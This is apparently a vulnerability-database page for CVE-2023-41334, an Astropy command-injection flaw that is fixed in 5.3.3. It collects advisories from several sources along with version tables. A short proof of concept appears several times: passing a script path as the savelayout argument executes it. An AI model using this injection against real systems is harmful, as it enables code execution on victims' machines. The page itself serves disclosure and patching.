Every CVE Search/ Get API key

CVE-2023-41334

astropy vulnerable to RCE in TranformGraph().to_dot_graph function

8.4 HighFix available

Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

1.13%Up 1.1 points since Mar 19, 2024
90%50%10%1%

What each source reports

CVE List Score used 8.4

astropy vulnerable to RCE in TranformGraph().to_dot_graph function

Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.

Record
CVE-2023-41334
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
EUVDEUVD-2024-0929 8.4

Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.

Record
EUVD-2024-0929
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-h2x6-5jx5-46hf 8.4

RCE in TranformGraph().to_dot_graph function

Summary

RCE due to improper input validation in TranformGraph().to_dot_graph function

Details

Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.

PoC

$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>> 
$ cat /tmp/poc.txt
astrorce

Impact

code execution on the user's machine

Record
GHSA-h2x6-5jx5-46hf
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-74, CWE-77
Updated
2026-11-02
NVD 8.4

Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.

Record
CVE-2023-41334
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
OSV 8.4

astropy vulnerable to RCE in TranformGraph().to_dot_graph function

Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.

Record
CVE-2023-41334
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
OSVDEBIAN-CVE-2023-41334 8.4

Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.

Record
DEBIAN-CVE-2023-41334
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
Show 6 moreShow less
OSVGHSA-h2x6-5jx5-46hf 8.4

RCE in TranformGraph().to_dot_graph function

Summary

RCE due to improper input validation in TranformGraph().to_dot_graph function

Details

Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.

PoC

$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>> 
$ cat /tmp/poc.txt
astrorce

Impact

code execution on the user's machine

Record
GHSA-h2x6-5jx5-46hf
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-74, CWE-77
Updated
2026-11-02
OSVPYSEC-2026-1199 8.4

RCE in TranformGraph().to_dot_graph function

Summary

RCE due to improper input validation in TranformGraph().to_dot_graph function

Details

Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539 Although an error will be raised, the command or script will be executed successfully.

PoC

$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>> 
$ cat /tmp/poc.txt
astrorce

Impact

code execution on the user's machine

Record
PYSEC-2026-1199
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2023-41334 8.4

Astropy is a project for astronomy in Python that fosters interoperability between Python astronomy packages. Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. Version 5.3.3 fixes this issue.

Record
UBUNTU-CVE-2023-41334
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVMGASA-2024-0313 No score

Updated python-astropy packages fix security vulnerability

Version 5.3.2 of the Astropy core package is vulnerable to remote code execution due to improper input validation in the TranformGraph().to_dot_graph function. A malicious user can provide a command or a script file as a value to the savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen. Although an error will be raised, the command or script will be executed successfully. (CVE-2023-41334)

Record
MGASA-2024-0313
Updated
2026-11-02
OSVopenSUSE-SU-2024:13797-1 No score

python310-astropy-6.0.0-3.1 on GA media

These are all security issues fixed in the python310-astropy-6.0.0-3.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2024:13797-1
Updated
2026-11-02
OSVopenSUSE-SU-2026:11353-1 No score

python313-astropy-8.0.1-1.1 on GA media

These are all security issues fixed in the python313-astropy-8.0.1-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2026:11353-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
astropy
PyPI
before 5.3.3
5.3.3
astropy
Debian:12
All versions, plus listed versions
5.2.1-25.2.1-2+deb12u15.3-15.3.1-15.3.1-2
Show 45 moreShow less
5.3.2-15.3.3-15.3.4-15.3.4-25.3~rc1-16.0.0-16.0.0~rc1-16.0.0~rc2-16.0.0~rc2-26.0.1-16.0.1-26.0.1-36.0.1-46.1.1-16.1.2-16.1.3-16.1.4-16.1.4-26.1.5-16.1.5-27.0.0-17.0.0-27.0.0-37.0.0-47.0.0-57.0.0~rc1-17.0.1-17.0.1-27.0.1-37.0.1-47.0.1-57.1.0-17.1.0-27.1.1-17.1.1-27.1.1-37.1.1-47.2.0-17.2.0~rc2-18.0.0-18.0.0~b1-18.0.0~rc1-18.0.1-18.0.1-28.0.1-3
None known
astropy
Debian:13
before 5.3.3-1
5.3.3-1
astropy
Debian:14
before 5.3.3-1
5.3.3-1
astropy
Debian:10
before 3.1.2-2+deb10u1, plus listed versions
3.1.2-2
3.1.2-2+deb10u1
astropy
PyPI
before 5.3.3, plus listed versions
0.10.20.2.10.2.20.2.3
Show 45 moreShow less
0.2.40.2.50.30.3.10.3.20.40.4.10.4.20.4.30.4.40.4.50.4.60.4rc10.4rc21.01.0.11.0.101.0.111.0.121.0.131.0.21.0.31.0.41.0.51.0.61.0.71.0.81.0.91.0rc11.0rc21.11.1.11.1.21.1.post11.1.post21.1b11.1rc11.1rc21.21.2.11.2.21.2rc11.31.3.11.3.2
5.3.3
python-astropy
Mageia:9
before 5.1.1-1.1.mga9
5.1.1-1.1.mga9
astropy
Ubuntu:18.04:LTS
All versions, plus listed versions
3.0-3
None known
astropy
Ubuntu:20.04:LTS
All versions, plus listed versions
3.2.1-1build13.2.2-1ubuntu14.0-34.0-4ubuntu1
None known
astropy
Ubuntu:22.04:LTS
All versions, plus listed versions
4.2-6ubuntu15.0.1-15.0.2-1
None known
python-astropy
openSUSE:Tumbleweed
before 8.0.1-1.1
8.0.1-1.1

History

History
RecordedChangedSources
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2023-41334 is a high vulnerability (CVSS 8.4) in Astropy, published March 18, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.13%, the 66th percentile. Fixed in astropy 5.3.3.

References

Show 9 moreShow less
This page doesn't list everything

Left out here: 83 versions. The JSON record has them.

MoveEnter Open